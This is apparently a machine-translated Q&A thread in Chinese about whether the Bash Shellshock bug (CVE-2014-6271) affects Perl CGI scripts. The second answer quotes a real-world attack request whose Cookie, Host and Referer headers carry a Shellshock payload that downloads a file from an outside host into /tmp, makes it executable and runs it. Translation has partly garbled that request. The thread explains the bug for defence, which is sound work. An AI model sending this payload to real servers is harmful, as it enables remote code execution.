bash漏洞CVE-2014-6271。它会影响我的CGI perl脚本吗？怎么理解这个？

Question

昨天报告了CVE-2014-6271问题，这是BASH Shellshock漏洞。 我试图了解它是否可以通过我的Perl CGI脚本影响我的服务器。

我的代码是否会以恶意方式受到影响 - 我的代码需要做些什么才能受到影响？我应该检查什么来验证这一点？

Answer 1

是的，如果您的CGI脚本产生子shell，例如使用system()或open()函数或反引号，它会影响Perl。见this excellent Red Hat blog post。请注意，博客文章在任何重要方面都不是特定于Red Hat的。

检查你的Perl CGI脚本中的这些功能，首先升级为固定版本

Answer 2

您可以尝试将特殊制作的字符串设置为HTTP服务器als Referrer，Cookie，Host或Accept标头，然后传递给（bash）CGI脚本：

  

获取./。HTTP / 1.0。用户代理：。谢谢 - 罗布   .Cookie：（）{：;} ;. wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh;   。主持人：（）{：;} ;. wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh;   .Referer：（）{：;} ;. wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh;   。接受： /

请将https://gist.github.com/anonymous/929d622f3b36b00c0be1视为野外恶意软件的真实示例。

如果您的Perl脚本没有拨打bash（使用system或open），那么您应该是安全的。

请参阅https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/